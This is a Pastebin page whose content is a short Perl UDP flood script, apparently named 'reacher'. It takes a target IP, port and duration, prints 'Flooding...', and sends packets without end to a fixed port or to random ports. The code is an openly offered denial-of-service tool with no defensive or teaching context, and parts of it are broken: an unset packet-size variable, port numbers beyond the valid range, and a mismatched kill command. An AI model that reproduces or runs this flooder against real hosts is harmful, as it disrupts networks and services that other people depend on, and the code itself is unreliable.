Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Socket;
- $ARGC=@ARGV;
- if ($ARGC !=3) {
- printf "Wrong command, use: perl reacher <ip> <port> <time> \n";
- exit(1);
- }
- my ($ip,$port,$size,$time);
- $ip=$ARGV[0];
- $port=$ARGV[1];
- $time=$ARGV[2];
- socket(crazy, PF_INET, SOCK_DGRAM, 17);
- $iaddr = inet_aton("$ip");
- printf "\n";
- printf "Flooding... \n";
- printf "IP: $ip\n";
- printf "Port: $port\n";
- printf "Time: $time\n";;
- if ($ARGV[1] ==0 && $ARGV[2] ==0) {
- goto randpackets;
- }
- if ($ARGV[1] !=0 && $ARGV[2] !=0) {
- system("(sleep $time;killall -9 udp) &");
- goto packets;
- }
- if ($ARGV[1] !=0 && $ARGV[2] ==0) {
- goto packets;
- }
- if ($ARGV[1] ==0 && $ARGV[2] !=0) {
- system("(sleep $time;killall -9 udp) &");
- goto randpackets;
- }
- packets:
- for (;;) {
- $size=$rand x $rand x $rand;
- send(crazy, 8, $size, sockaddr_in($port, $iaddr));
- }
- randpackets:
- for (;;) {
- $size=$rand x $rand x $rand;
- $port=int(rand 75000) +0;
- send(crazy, 0, $size, sockaddr_in($port, $iaddr));
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement